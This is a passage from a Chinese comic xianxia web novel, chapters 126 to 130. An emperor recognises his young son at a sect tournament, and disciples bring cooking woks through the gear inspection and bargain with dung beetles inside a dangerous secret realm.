可想而知,三百年前各方势力最强者陨落后,十几年的大战,为了争抢这片土地,繁华的中州早已不见往日峥嵘。 江献晚遥望着依稀可见的塔尖,忽然明白……花美人为何如此抠搜。 经历过无数次人魔妖的混战,这片土地被侵蚀为废墟,失去了所有肥沃与希望,因太多在大战中死去的人魔妖,怨气厚积,变作难以踏足的贫瘠荒芜之地。 直到凤仪剑尊与两位帝尊战退妖魔,结束战乱,执掌两境,一座座灵塔拔地而起。 虚古境残留的灵兽妖兽魔兽共存,统称之为异兽。 加之埋骨无数,怨气极重,条件恶劣,繁衍出来的变异物种比比皆是。 它们经过不停的厮杀进化,自成体系般,比秘境外的兽战斗力强悍,危险不止数倍。 此刻虚古境外人魔妖如海,周围的树杈上都挂满了各种千姿百怪的身躯。 再次延续的玄古大赛,几乎将所有两境三域的修士吸引了过来。 几位长老还在摆弄投影石。 不多时,一位太虚宗长老和一位万古宗长老上前。 生的极美而英姿飒爽的女修笑着道:“我是万古宗姬长老,各位弟子都是第一次参加玄古大赛,我便将规则讲一次。” “此次大赛时日不限,率先集齐五枚碎片的小队伍为胜。当然,在虚古境获得的各种资源皆由各自内部自行划分,另外,胜出的小队伍将会获得额外的奖励。” 太虚宗铁长老沉声道:“五支小队伍会被阵法随机传送到外围不同的区域,切记不可靠近内围,毕竟传送符只有一张。” 姬长老微微一笑,“为了两境三域的友好发展,各位胸前佩戴的投影灵石不可摘取,各小队之间亦不可出现杀之性命之事。否则,绝不姑息。” “还有,除了自身契约过的法器,不得携带任何其他辅助法宝符箓。也就是说丹修可以带丹炉,但不可以带丹药灵植,需就地采摘提炼。同理,符修可以带空白的符纸、符墨这种相关的物品,但不可以带画好的符纸。” “当然,若有两道同修的修士,比如剑术与丹药,剑与丹炉这些都可携带。” “所以,各位自检,并将身上不能带的一切物品交给各自宗门暂为保管。” 她环视众修,目光掠过妖魔界三域,最后落在万古宗队伍中。 却见正不情不愿掏法宝符箓的参赛弟子,骚动望天。 姬长老错愕抬头,这么一看,震撼无比。 “帝尊?” 云层间三道身形隐约出现在华美云舟上的凉亭下,让人心生膜拜的恐怖威压若有似无。 甚至有些许灵力映的白云渡上祥瑞光泽。 顶着两只小角的巨大鱼影,披着熹微晨光从薄雾中一跃而过,洒下星星点点的冰雪碎芒,如梦如幻。 林玉锦:“我去,鱼小白是龙鲤?” “龙鲤!”有北境弟子低呼,“是帝尊!” “剑尊前来已是稀奇,两位帝尊竟都来了!” 林轻染轻轻咬唇。 上面坐的,是玄古大陆最尊贵的男人,同样也是美人图鉴中的。 心思百转间,一道滟色绝伦的风流身影,衣袍翻涌如雾,一步踏上云端,臂弯还抱着一个衣裳同样色系的小娃娃。 “妖域殿下风回雪!” “那是,风行行!” 除了无语的江献晚,望着那道人模狗样的身影,队伍中狼太灰快要把牙都咬碎了。 他被丢到厨房刷了一晚上的碗,要不是他爹来赎他,差点连玄古大赛都错过。 天狼王皱眉,神色不愉,冷哼一声在看台坐下。 魔修的脸色有点难看,纷纷嗤之以鼻。 切,得瑟什么。 跟谁家没有个定海神针似的。 但此刻也开始想念自家那总是离家出走,一年到头都见不到一片衣料的皇。 界域的脸是最臭的。 奈何,自家烂摊子都没收拾完,三位王三百年斗的死去活来,至今无皇。 齐声:“呸!死装!” 要是他们皇在,哪里轮到他们几个在上头坐!连舟带人全炸成碎片! 界域三王同两境掌门长老坐在一起。 这般一看,界域成了最势弱的一方。 江献晚有些走神。 不知为何,从她来到虚古境,神识内的剑灵让她感受到一种极为悲伤而急迫的气息。 可剑灵还在沉睡,任凭意识挣扎,最终陷入一片死寂。 她默默掏出一屉小笼包,话说,昨天早上一觉醒来,云为泽自个坐在那儿瞅棋盘。 看她出来,又面无表情的扭过头,瞅她。 江献晚被他盯的鸡皮疙瘩都起来了,正欲开口,帝隐不知从哪里做的早饭带回来。 她一边麻木的吃,一边和鱼怀疑人生的看着两个帝尊继续厮杀。 等她脚底抹油,想带鱼出门遛弯,两个帝尊异口同声拦下了她。 她跟鱼看他俩下棋看的眼珠子都快掉了,找了个理由去楼下不远处蹲了一会儿,又被两道信息催回去。 继续瞪了半天,在桌案旁同龙鲤昏昏沉沉不知何时看睡着。 从榻上醒来,桌上多出几屉各种口味的小笼包和一碗甜枣粥。 云为泽和帝隐也不知道什么时候走的。 江献晚刚塞嘴里一个,面前多出好几双手,打断她的思绪。 修言:“饿饿,饭饭,喂喂。” 林玉锦:“屎你吃不吃。” 何未语直接张嘴,等投喂,“啊……” 江献晚:“……”这就是损友多的好处吗? 云雾中,云为泽方从南境小队伍中收回视线,看到来人怀中的小娃娃,眼底划过一丝错愕。 帝隐眼眸微转,从江献晚身上转过来,猝不及防,便对上一双清澈剔透的琉璃眸。 他呼吸一滞,脑中陡然空白一瞬,耳中再听不到任何声音,冰雪般的瞳孔扩散到了极致。 像是被重物狠狠敲击,心肺顷刻间被抻的活生生撕裂,指尖缠着龙鲤的灵力蓦地断开。 第 126 章 见过北帝尊 江行行被放在云舟上。 他今日穿了一件白色洒金的袍子,头顶两个圆嘟嘟的发包,眼尾面颊绘着九尾小狐狸,还有亮闪闪的细粉点缀。 模样认真,显得愈发灵动招人,让人忍不住想捏一捏。 帝隐微微摇晃了一下,他怔忪的望着那约摸两岁的孩童,双唇死死抿成一道薄而惨白的直线,面色如灰白枯槁的纸张,刹那间近乎窒息崩溃。 仿佛被操纵着空洞无物的躯壳,踉踉跄跄起身。 他,是谁。 云为泽见他忽然失态模样,心中莫名被蜇的紧缩,指骨不自知的攥紧杯壁。 风回雪眸光微不可察的动了动,神色淡淡,颔首同凤仪剑尊回礼,自顾自撩袍落座。 江行行小腿迈近两步,左手贴于胸前,行了个标准的妖域礼,奶声奶气,一一见礼。 “见过凤仪剑尊。” “见过南帝尊。” “见过北帝尊。” 花不休眼底隐有光泽浮动,亦有痛色,最后皆无声散尽。 他添了杯花露,温声回应,“甜的,行行……要不要尝尝?” 行行。 万物在眼前坍塌,帝隐蓦地摁压上心脏,指节因过度用力而扭曲变形,泛着骇人的青白色,眼底模模糊糊晃动成虚影。 他看着比桌案高一些的孩童,瞳仁涣散,失去焦距,每一根骨头都在无声中寸断。 那小娃娃在笑,抿唇时,唇角若隐若现浮出一个浅浅的梨涡,眼尾装扮的小狐狸都因他活灵活现。 帝隐鬓角散落的发丝被汗珠黏在面颊,空洞的双眸,不见泪水,却更令人窒息,望着那一双犹带着婴儿肥的藕白小手,眼底突兀地布满了割裂般的红血丝。 一声嘶哑压抑,全然不似人声的呜咽自喉头深处挣扎而出,仿佛困兽濒死前的嘶鸣。 行行。 晚晚为他诞下了一个孩子。 他却无知无用。 全都错过。 云为泽注意到那人原本该是笔直如松的脊梁,此刻弯折下去,呼吸不由跟着缓重。 久久回过神,颔首朝江行行扯出一抹笑,只觉有什么将要破土而出。 缓了缓呼吸,一个空间芥子便已不由自主搁在他手心,轻声道:“里面有很多亮晶晶的玩具。” 江行行想了想:嗯,也是一家子的,可以要。 “行行谢过南帝尊。” 他礼做的一丝不苟,像是小大人般。 帝隐隔着一层厚重的雾气,瞳孔深处只余一脸认真,小手贴在胸前,行礼的孩童。 他面颊苍白,眼角湿痕微微反光,血水几欲从喉间涌出。 无声喘息了一会儿,用尽残余的意志力死死咽下,缓缓屈身,朝好奇扭过头来看他的小娃娃微微探出一只手,竭力放软声音。 “行行,来。” 江行行有些疑惑的看着面前那只微微颤抖的手,再悄悄从睫毛下打量,这个努力与他视线平齐,似乎想哭鼻子的银发男子,依言走近一步。 “行行见过北帝尊。” 帝隐努力聚焦视线,细细凝视着他。 潋滟的初阳,透过云雾,落在一大一小的眉目间。 他恍惚许久,强忍着眼底热意,和想将他抱在膝头的渴望,双指一并,从眉心取出一抹流光,轻轻往前一送,努力对他笑,“这里很漂亮,可以养玄龟的。” 他笑的似乎并不好看,因万般痛楚的神色,笑意叠着剧痛。 声音湿哑,此刻却最是柔软,惹的江行行忍不住又打量他。 那男子似乎又想到了什么,从袖中摸出一个空间芥子,几度哽咽,几不成字,嗓音仍是柔软的,“不太多,也不好,下次,下次我会准备多一点的。” 龙鲤震惊的张大了鱼嘴:不是! 还不多?还不好? 主人回去日夜不停,认认真真挖了一个月的宝贝,添入空间芥子。 没给江献晚,就这么送给一个不认识,刚见面的小娃娃了? 他把灵墟都给他了? 他真的把灵墟给他了? 不给自己留条裤衩吗?! 鱼的池塘也没了? 还下次! 鱼再也过不上一点好日子!!! 鱼不知道他疯了,还是鱼疯了,俩鱼鳍都在一个劲的哆嗦。 心里狠狠发誓:它一定会和江献晚告状的,说他把她的东西给别人了,裤衩都不剩! 云为泽再次艰难从江行行身上侧目,看向帝隐。 那灵墟是伪仙级灵器,时间比外界慢三倍不止。 江行行看着他指尖跳动的一抹微茫,转头去看风回雪。 风回雪低下眸子,将眼底的复杂之色尽数压下,须臾,道:“收下吧。” 他是知晓江献晚给了帝隐一块帕子的事,自然,这事是他先提出来,与江献晚商量后定下的。 帝隐若能自个认出,便算是勉强过了第一关。 若认不出……今后便彻底与江行行再无任何干系。 看他全然崩溃的反应,风回雪心中五味杂陈。 既怒他让江献晚一人就那样走了。 却又不得不一再多想。 江行行虽年幼,从不问此事,可他心中知道,他的父亲,不会是一只狐狸。 风回雪终是不想因为自己的一己私欲,阻拦江行行与他相认。 饶是又涩又醋,此刻竟诡异地吐出一口气。 帝隐好歹不算太不是人。 这下好了。 帝隐认出来了。 他名分还没要到,帝隐还不跟他往死里抢媳妇。 江行行往前走了一步,再次悄悄打量面前这个奇怪的男子。 帝隐亦在细细看他。 一大一小,视线无声交汇,倒映着彼此的眉目,帝隐看着那双琉璃似的眼睛,努力眨去眼底湿意,手指颤抖着将那抹流光送入他眉心。 “多谢北帝尊。” 江行行奇怪眼前人为何伤心,又知不能没礼貌多问。 他犹豫着举起小手,想给他擦擦泪,又觉不妥。 行过礼,小腿一迈,爬上座位,双手取来花不休添的花露。 风回雪伸手扶稳他,心底泛酸的同时,又开始得瑟。 在一起过又如何,现在还不是个无名无分的野男人。 心中狂笑三声。 他可是亲了江献晚,盖了印子的! 行行也是他儿子,跟他最亲,还喊他爹爹! 晚晚都认的! 就该让帝隐使劲难受难受,最好哭死! 他估计每天晚上都得哭着从床上坐起来,扇自己两巴掌。 风回雪瞧着对面含着泪,破碎不堪,又不得不强行克制的人,一时春风得意,坐的最是散漫,时不时向下张望一眼。 江行行看了看偷偷来瞅他的龙鲤,往下看时,不忘努力地伸手,把装着灵奶的瓶子喂在风回雪唇边。 “爹,您能不乱动吗?” “知道了,小笼包给我一个。” 第 127 章 赛前检查 江行行捏起一个小笼包塞他嘴里。 “不要豆腐的,要肉馅的。” “不行,娘亲说了,挑食会长不高的。” 心神恍惚的云为泽,听到这里,失据的神色倏尔一僵,愕然怔住。 他指尖茶盏跌碎一地,猝然抬眸,望向一来一回的两父子。 帝隐双手痉挛般死死蜷紧,掌心将叠的整整齐齐的帕子攥的湿黏不成形,湿红而朦胧的眸光始终落在那漂亮的不可思议的小娃娃身上。 风回雪不情愿地叼过他手里的小包子,“帕子。” 江行行捏着帕子给他擦嘴,风回雪自动伸出一只手。 终于伺候完这个祖宗,江行行两只小手托脸,看着太虚宗队伍的方向,抿嘴偷笑。 忽然伸出小手一指,“爹爹,他们为什么连脸也要包着?” 指的方向正是界域的队伍。 风回雪嫌弃地乜过去,“可能是长得太丑了。” 界域修士,出了名的脑子有病,逮谁咬谁,追着人家屁股,跟个疯狗似的,咬到人家地盘都不撒嘴。 闻言,江行行从衣襟中掏出一只黑漆漆的玄龟,“比大龟还丑吗?” 大龟:“……” 风回雪认真思索片刻,“应该吧。” “哦。”江行行又看了一眼身旁狂吐泡泡的龙鲤,纠结一会儿,终于忍不住咽了一下口水,问他爹,“爹,晚上能吃鱼吗?” 鱼小白:“……?” 风回雪:“行吧,红烧还是清蒸?” 江行行:“清蒸吧。” 风回雪看了一眼龙鲤:“哦。” 鱼小白:“……”别太过分! 大龟:“……”长的丑也有长的丑的好处。 正在此时,天际传来一股恐怖的力量波动。 少年红衣如荼,双腮雪白,面若桃瓣,袍身绣着暗红地狱之花,宛如一团明媚灿阳,留下一抹惊艳地红色残影。 “吾皇!” “咱们地皇终于来了!” “妈呀!他还知道来啊!” 众魔感动地抱头哭泣。 天知道,他家皇离家出走不知多久了! 非翎一步踏上云舟,一扫神色各异的三个男子,浑不在意笑着打招呼后,毫不见外的落座。 只是,在看到风回雪和坐在玄龟背上,认真戳泡泡的小娃娃,便欢喜一扬眉。 难怪这狐狸精上来就干他眼眶一拳,还骂他小贱人。 摸出一个空间芥子,起身凑过去,脸上笑开了花,“你叫行行?” 江献晚没注意云雾中的动静,更没余力去想帝隐能不能认出江行行是他儿子。 两境三域各自出了一位长老,正在检查对方有无携带,超出规定范围的法宝符箓等辅助物品。 魔域长老负责的是南境队伍。 修言他们垂头丧气地掏出一堆高级符箓法宝。 另一个魔域长老来到江献晚跟前,看着地上一排大到可以装人的铁锅,陷入深思。 沉默良久,“这些刻有高级阵法,禁止携带!” 江献晚,“我得炼丹。” 魔域长老再看堆成小山的乱七八糟的东西,嘴角抽了几下,“锅不是用来炒菜的吗?” “你没炼丹炉?” “啊,这就是我的炼丹炉啊,它就是稍微大了一点,我师尊教的,饿了正好还能炒菜。” 花不休:“……” 魔域长老表情难耐,仍不死心,“这是稍微大了点?你还要炒菜?” “嗯,我容易饿。” 魔域长老:“……”这么大的锅,是想把整个虚古境炒了? 那你还真是饿了! “只许带一个,那这些被子枕头还有蚊帐……呃,床?” “睡觉啊。” “那……这尾巴,还有妖珠……嗯?” 你一个正道弟子,装着这种尾巴……真的很有觉悟。 魔域长老看江献晚的眼神,顿时多出几分火热的赞赏。 如此有情趣的弟子,该来他们魔域才最合适啊! 立刻发出迫不及待的邀请,“我观你天赋异禀,不若来我魔域,我魔域合欢术修的老牛逼了。” “怎么样?要不要来体验一下灵魂和肉体都出窍地幸福感,我多给你找几十个雄壮的!” 云舟上屁股还没坐稳,就致力于拐儿子的非翎:“……?” 看着尾巴根的宝石,和一小堆含着各种妖力的珠子,江献晚难得沉默了。 尤其其他小队和何未语他们猥琐看来地小眼神。 灵光一闪,一指云舟。 脸不红心不跳。 “别误会,这绝对不是我师尊让我偷偷替他买的!” 苏清流三人想到自己芥子囊中的情趣玩具,立刻齐声道:“我们也是!” 正冷飕飕乜魔皇的花不休:“……!” 江行行眼睛一亮,推开鱼,绕开非翎,小腿倒腾到花不休跟前,小手揪他衣襟,眨巴着眼,“您喜欢猫尾巴?” 在座的:“……” 看台上,徐燕洲和铁长老神色扭曲,再扭曲:剑尊原来竟然是这种人?! 魔域长老检查完江献晚,失望的扭头就走,待看到林玉锦脚边一口同款大锅,手里还拎着一把大勺子,嘴角再次抽搐。 林玉锦露出江献晚同款地无辜神色,“吃饭炒菜要用勺子吧。” 修言一脸我懂的表情,“有道理。” 魔域长老犹豫一下,“那这支笔?” “哦,傻笔。” 魔域长老:“……放肆!” 徐燕洲和铁长老双双弯下了挺拔的脊背,将脸默默埋进胸膛。 他们为什么会有种……被人当众扒了亵裤的感觉啊! 其他四支队伍在对方一丝不苟,严苛无比的检查中也是窘态百出。 就连仙气飘飘的北境弟子都冷着脸,不情不愿地把高级法宝符箓交出来。 洋洋洒洒的符箓中,各种严厉的声音响起。 “裤子脱了,腰带也有高级防御阵法,脱掉!” “别走!还有袜子!亵裤还能刻阵法?你还真是个天才!换掉!!!” “你带蜡烛干什么?!” 界域弟子理直气壮:“点啊。” 碰到异兽,给自己点根蜡吗? 一系列,令人唏嘘。 这时候,两境三域的不合总算体现的淋漓尽致。 恨不得把对手的底裤都扒干净。 经过好一阵鸡飞狗跳,所有人魔妖都臭着脸,飞快地奔向阵法,逃离这个可怕的世界。 两境三域弟子尽数被传送入虚古境之中。 一股略有些刺鼻的腐臭腥味扑面而来,与之伴随的是此起彼伏的异兽嘶吼声。 漫天飞沙走石,天光黯淡,与外面晴艳的天还是有差别的,很难想象,这曾是最热闹的中州。 落地的刹那,江献晚已经将锅扣在了头上,苏清流和白子夜反应很快,一左一右跟着躲了进去。 林玉锦见没自己的位置,顶着大铁勺开心无比,“唉,就是玩儿。” 修言抹了一把刺痛的雨水,受到启发,将背后的令牌抽出来顶脑袋上,“唉嗨,我也有!” 何未语认认真真放大灵剑,“老婆!给我大!” 第 128 章 你们怎么看 一时间,所有人都拿自己的老婆遮风挡雨,各个都没想着用灵力护体。 倒是都开始嫉妒江献晚的锅。 因为,雨水落下来的一瞬间,那口锅登时闪的五颜六色的,差点把人眼睛亮瞎,并直接把雨水给蒸干了。 不仅风骚,还快乐的……唱起歌。 “我种下一颗种子,终于长出了果实~” “今天是个伟大日子~” “摘下星星……” 天青宗和道明宗八个小伙伴:“……?” 见小伙伴一脸震惊,并开始不自觉的跟着抖动,江献晚立马将音乐给关了。 “晚上我教你们跳。” 小伙伴立马就不乐意了。 “为什么要等到晚上?!” “为什么不是现在?!” “为什么要关掉?!” 异口同声:“就现在!” 这曲子太魔性了,一下就戳到了他们的筋儿。 控制不住,根本控制不住。 有种让人想变异的冲动! 江献晚:“……” 苏清流懒懒抬起眼皮子,“因为……请抬头。” “卧槽!” 小伙伴一抬头,齐声卧槽。 滴落下来的哪里是雨水,分明是十来只挂在树上,满身丑陋疙瘩,长着两双翅膀,类似于蜥蜴的异兽流出来的哈喇子。 他们脚下踩的正是一片珍贵灵植,看来这些异兽就是这片灵植的守护兽。 “哕!” 十二人看着快要下成瀑布帘子一般的粘稠哈喇子,俯身干呕,尤其刚才好奇张嘴,使劲嗦了一下嘴角的天青宗弟子。 一边哇哇吐,一边突然陷入一种格外抽癫的状态,四肢扭曲,朝张着巨大的鳄,从天而降的异兽扑了过去。 他接住异兽,左右往地上狂甩,哭的很大声,“好恶心……呜呜!我特么跟它间接亲嘴了!” “我保留了二十三年地——初吻!!!” 众人齐声:“哕——!” 修言听的哇哇吐,铮地将令牌狠抽了过去,只一下便将那头异兽抽的修为倒退了一些。 江献晚看的眼睛一亮,竖起大拇指,“牛逼。” 这种灵器,用起来可太爽了! 修言嗖地挺直胸膛,一甩额前碎发,大声道:“小声点了~” “江师妹,你……你要做饭?”何未语一剑穿爆一头异兽脑袋,惊悚道。 江献晚将锅一甩,接住被苏清流一剑击下的异兽,连颠三下。 “万物皆可炒。” 白子夜相当喜欢同小师妹胡闹,指尖‘苍生鉴’轻轻一转,迅速绘制出烈火符,左手意气风发一扬,挥出一把粉末,“再来点孜然调味料!” 一股奇异的肉香很快飘散,异兽凄厉的声音迅速变弱。 其他异兽望着这一幕,瑟瑟发抖,开始撅着屁股往后倒退:他们是魔鬼吧? 修言死死抓着异兽的尾巴,不顾它四只爪子死死扒地的剧烈挣扎,将它拖出四道长长的深沟,兴冲冲地奔到江献晚身边,双眼放光,“好香,这东西是不是可以吃?” “帮我也烤一头!” “去皮!不要内脏!” 异兽:……脸你要吗? 何未语刚解决完另一头异兽,一言难尽地瞅了他一眼,三秒后,转身:“哕!”。 江献晚翻开锅,“自然。” 其余人:“……?”咱们真的要开饭了? 眼瞧着小伙伴们掏筷子的掏筷子,卷袖子的卷袖子,大有坐下来先吃个吃饭的冲动,江献晚马上补充:“自然这是给其他异兽吃的。” “那这么说的话……也很有意思。” 虽然有些失望,大家伙还是兴冲冲的撸起袖子,切割完异兽身上可以用到的筋骨兽皮,将异兽肢体摞成小山。 毕竟,钱总是不能忘记狠狠挣的。 堆完,还忍不住眼巴巴问了一句。 “不过,真的不能吃吗?” 江献晚:“……?” 虚古境外。 众修的目光从北境,魔域,界域,妖域,最后落在了南境这支小队伍上。 一个热情自荐的解说员,骄傲地站在树杈上,手拿刻有扩音功能的灵石,眉飞色舞。 “北境小队掉落的位置真是绝了,看那一大片灵植,竟然没有守护兽!太奇怪了!快看!林轻染竟然找到了一片五阶灵植!” “魔域小队运气也不错,刚落地就一屁股坐死了一头异兽。” “不是,大赛刚开始,界域怎么自己打起来了先?看啊,他们还没掉地上,就开始扯对方的遮羞布了!” 界域三王一致嫌弃的瞪向解说员。 “土狗!” “没品位!” “瞎眼精!” 什么遮羞布! 那是他们祖传的法袍,他们家不知是死是活的皇亲口认定的! “哇塞,让我们再来看一看妖域小队,不愧是容貌出色的妖族,都这个时候了还不忘梳尾巴毛。” “这翅膀可真白,不知道他们都是用什么洗头……哦,洗毛的,希望道友可以推荐分享一下。” “咦?南境的道友这是作甚?” “他们脚下同样有一片灵植,南境小队已经杀完异兽开始炒菜了?好快!咦?不对!另一个颠锅的,颠的是……异兽?!” “他们一进来就这么热火朝天,是准备露营吗?” “他们到底是来比赛,还是来吃炒菜炒兽的?” 魔域长老:她没说谎,真的饿的挺快的。 “当然……这也许是个很不错的想法,前提是……锅里的玩意儿不是异兽!” “不过,他们一边吐,还一边围着锅,还真是……呃,看不懂。” 徐燕洲和铁长老:“……”把他俩炒了吧! 在苏清流的带头下,南境小队风卷残云般,很快将那一片灵植搜刮干净。 江献晚和林玉锦一个负责炒兽,一个负责炼丹,铲子都要抡冒烟了。 连着颠了好几锅,叽叽喳喳的一群亲传这才心满意足继续前进。 实时讲解员有些失望,“那异兽炒好怎么不吃啊,炒的蛮好啊,还刷了一层蜂蜜,看起来里焦外嫩的。” 他话音又是一转,忽然激动起来,“啊哟,快看!南境的运气真是绝绝,他们没走两步,竟然碰到了一群屎壳郎!” 是的,运气奇差,江献晚他们短短进去不久,就遇到了一群屎壳郎家族。 倒不是因为其中有两个是高阶屎壳郎…… 而是…… 望着地面滚动着的,脑袋一样大的粪球,还有四面八方,迅速将他们里三层外三层包裹的屎壳郎,南境小队十二人,齐齐陷入天长地久地沉默。 “这……这种情况……你们怎么看?” “我……我……我站着看。” “我……瞪着俩眼珠子看。” “我……一脸懵逼地看。” 何未语微微张大嘴巴,僵硬地拿手比划了一下,神色很是复杂,“我看着,好……大。” 比她脑瓜子都大。 团起来肯定很累的吧。 修言咽了咽口水,“说真的,比起刚才林玉锦炼的什么螺蛳粉丹药,我觉得这些粪球好像都好闻了一点。” 其他小伙伴,扭曲的盯他。 你想吃屎,就直接说! 第 129 章 团粪球 林玉锦捏着长长的树枝,戳了戳滚到脚边的粪球,感动地快哭了,“不愧是中州,连一只屎壳郎的修为都比我高。” 化神以下:“……”伤人的话,真的大可不必说。 他们有眼,会自己看。 当然。 看着眼前比自己修为都高的屎壳郎,他们觉得……确实有些没眼看。 “别玩屎,待会惹恼了它们,小心它们请你吃屎。”白子夜一巴掌拍在林玉锦脑袋上。 这些屎壳郎的修为大多虽不高,其中为首两个约摸化神中期,可这么多的数量,已经算的上小规模的兽潮了。 中州的异兽又都是些变异的物种,攻击力和属性无法确定。 若真打起来,主要是……恶心。 于是,面对如此玄幻的一幕,南境小队只能一脸懵逼又忧桑的站在原地,祈祷这些屎壳郎,赶紧推着粪球从他们身边滚向远方。 显然,他们的热切期翼注定会落空。 那只被戳了心爱粪球,拳头大小的屎壳郎,不知不觉停下。 它茫然的瞅了瞅粪球上突然被戳出来的洞,翅膀登时一个哆嗦。 顺着树杈再看始作俑者,足部更是爆发出剧烈的摩擦声响。 随即…… 在所有人目瞪口呆中……怒气冲冲地扔下粪球,一个狠冲,笔直地撞向林玉锦的小腿。 饶是有灵力护体,猝不及防被一只屎壳郎这么一撞,没设防的林玉锦,一屁股蹲在了地上。 他双手撑地,目光还带着被一只屎壳郎创倒的茫然,真诚地朝小伙伴们发出疑问,“咦?怎么不疼?” 苏清流没眼看,“因为你坐在了……” 那个字,他讲不出来。 有贴心的小伙伴两只手一比划,尽职尽责地为他描述,“一坨又大又圆又臭的……粪球上。” 何未语认真补充,“不过,它现在已经被你坐扁了。” 林玉锦:“……” 顿时爆发出一阵尖叫。 “我——罪、不、至、屎——!” 而那只出完气,准备继续推着心爱粪球前行的屎壳郎,猛地一刹车,停在原地。 眼睁睁的看着自己辛辛苦苦,团的溜圆的粪球,转瞬间被一只从天而降,巨大无比的屁股无情坐住,两条伸出的前肢刹那悬僵在半空中。 它停在原地又是茫然了好一会儿,颤抖着前肢,不可置信地又瞅了一眼林玉锦的屁股。 待看清那脆弱而可怜的一片,在江献晚他们深表同情的注目下,猛然发出一阵闻者伤心见者流泪,无助而悲怆地刺耳嗡嗡声。 它这么一叫,旁边那只脑袋上有些角突的雄性屎壳郎,跟着愤怒一叫,其他努力滚动着粪球的屎壳郎大军立刻警惕停下。 并大怒。 有人抢它们王后的屎! 士可忍孰不可忍! 当屎壳郎大军停下的那一刻,南境小队同样陷入一种两眼一黑的无尽绝望。 各个小脸苍白,表情痛苦,纷纷拿眼神谴责林玉锦。 你说你戳它粪球干嘛,这下好了,屎壳郎还以为他们来抢屎了。 打起来……多脏啊! 在那只受害屎壳郎鞘翅一展,就要带领大军发动攻击,江献晚抬手拦下呲牙咧嘴,被迫营业的小伙伴。 淡定无比。 “咱们先跟它们谈谈。” 又竖起手掌,朝屎壳郎打了个暂停的手势,“停!两军交战不斩来屎。” 屎壳郎王后攻击的动作下意识一停:“……?”听不懂,但好像很有道理。 那,先停一下? 旁边正想为老婆出气的屎壳郎大王,是个耙耳朵,向来听老婆话,想了想,扭头命令大军暂停。 俩前肢又朝江献晚激烈一比划:你想怎么谈?! 江献晚笑了笑,拿出一坨巨大无比,散发着冲天臭气,还热乎着的丹药。 在小伙伴和屎壳郎一脸震惊中,动作眼花缭乱,快出残影,迅速团成一坨比刚才那团还大还圆的粪球,往前一递。 “尊敬的屎壳郎王后,这个给你,算是我们的赔礼。” “我相信,您一定能从这坨又大又圆的粪……呃,看到我们真诚地歉意。” 屎壳郎王后早在她团粪球的过程中,眼睛一亮再亮。 它从来没见过比它团粪球团的还要好还要快的。 这会儿看到那坨比自己那个还要大两倍的粪球,两眼重新绽放光芒。 立刻接过那坨粪球,爱不释手,又搓又团,再开开心心亲两口。 “哕!” 除了江献晚和苏清流白子夜,其余人齐齐俯身,大吐特吐。 当然……林玉锦本就在一边疯狂呕吐,一边哇哇大哭的擦身上的屎。 “江师妹!快!把剩下的屎都给它们!别逼我跪下来求你!” “我赞成!” “我举双手双脚赞成!” “我全身上下都在激烈赞成!” 林玉锦颠了三大锅,还说这些都给他们吃! 想吃多少吃多少,管饱! 天青宗和道明宗八个小伙伴,想想都绝望,一致强烈要求江献晚将剩下的螺蛳粉丹药刚好送给屎壳郎! 江献晚眉心跳的欢快,“这不是屎。” 白子夜显然早已习惯这种气味,严肃为小师妹正名,“那是丹药,方才炼的时候你们不是看见了吗!” 小伙伴齐声激动抗议,“是不是屎,我们都不吃!” “一口都不吃!” 屎壳郎王后:“……”切,爱吃不吃! 这么好吃,是他们自己没口福。 其他屎壳郎见到它们的王后得到一个巨大无比的粪球,眼馋的不得了。 一只体型小,还不懂人情世故,阶层划分的幼年屎壳郎,看的眼睛都绿了。 立马把自己那坨小粪球一扔,跑到屎壳郎王后面前,被屎壳郎大王一脚踹飞出去。 场面迅速陷入一片混乱和焦灼。 讲解员在看到江献晚掏出一坨不明物的时候,懵了一下。 半晌后,扯着嗓子,爆发出一阵声嘶力竭地嘶吼声,“天啊!剑尊的弟子竟然在芥子囊里装了一盆屎!” 正给江行行剥荔枝的青衣美人,手指猝不及防凝固了。 “噗!”看台上徐燕洲一口茶水喷了出来,跟着发出撕心裂肺的剧烈咳嗽声。 铁长老头低的相当快,并哆嗦着手捏起一片衣袖……严严实实盖在脸上。 这不是他们太虚宗的弟子……不是。 雾渺交叠着腿,视线跟随着江献晚,唇角就没耷拉下来过。 除了南境,其他高层看向空中云舟的表情有些一言难尽,但又很是津津有味,显然被南境的骚操作雷的里焦外嫩。 第 130 章 成名屎 后面的观众拼命往前挤,恨不得把脖子伸长几十米,一边强烈要求长老们多加几块灵幕,一边发出激烈的讨论! “屎?我勒个,不愧是剑尊亲传!团屎团的比屎壳郎都快,还圆!” “我开始心疼剑尊了。” “她是叫江献晚是吧?” “这动手能力,漂亮!” 云舟中灵幕自然也投放着实时画面,本就诡异的气氛,又陷入另一种诡异。 只有江行行和龙鲤露出别无二致的着迷神色,一脸自豪骄傲。 江行行:“好圆。” 鱼小白:“好大。” 玄龟:“……又大又圆。” 非翎:“我觉着也是。” 四个男人:“……?” 非翎两只手托着面颊,一脸陶醉地望着江献晚发间的乳白骨簪,羞涩地吐出几个字,笑的甜死人不偿命。 “原来,她叫晚晚啊。” 这一句缠绵悱恻,浸洇着柔情蜜意的甜蜜声线,登时引得五人,一鱼,一龟看他。 四个男人齐刷刷侧眸,此刻的表情更称不上平静。 他们本就因江献晚和江行行,各自不知其味,这几个字,将诡异的气氛直接打破。 魔皇此人,性格阴晴不定,手段狠辣是出了名的。 而在看到江行行后,跟看到自己儿子似的,笑的脸都烂了。 不是舔着脸,使出浑身解数,往江行行跟前凑,就是满脸羞涩而荡漾的瞧着南境小队…… 确切的说,瞧着江献晚。 甚至,还露出自豪而骄傲的小表情。 一眼都没看自家的魔域小队! 不知道的,还以为江献晚是他媳妇,江行行是他儿子! 风回雪两只拳头攥的咯吱咯吱响,手背青色脉络根根崩突。 咬牙切齿的瞪了瞪虚古境内南境小队的位置。 好你个到处沾花惹草的死女人,到底还要给他招来多少野男人! 他名分还没完全要到,一会儿就冒出这么多情敌,雨后春笋长的都没这般快! 短短半日的时间,风回雪绝望地全然能确定。 不止帝隐,从花不休和云为泽对江行行的态度,还有看向南境小队时的微表情,分明皆对江献晚存着臭不要脸的小心思! 特别是花不休,他竟然连师徒禁忌都不顾了! 脸呢! 除了苏清流三人,江行行的身份,江献晚还没跟任何人说明。 就算花不休和云为泽能看出来,花不休对江行行的体贴入微勉强合理,云为泽怎么着也不该如此! 最可气的还是非翎这个没脸没皮地小贱人,压根不知道害臊两个字是怎么写的。 想上位的心思,全刻在脸上了!!! 风回雪气的肝儿一抽一抽的疼。 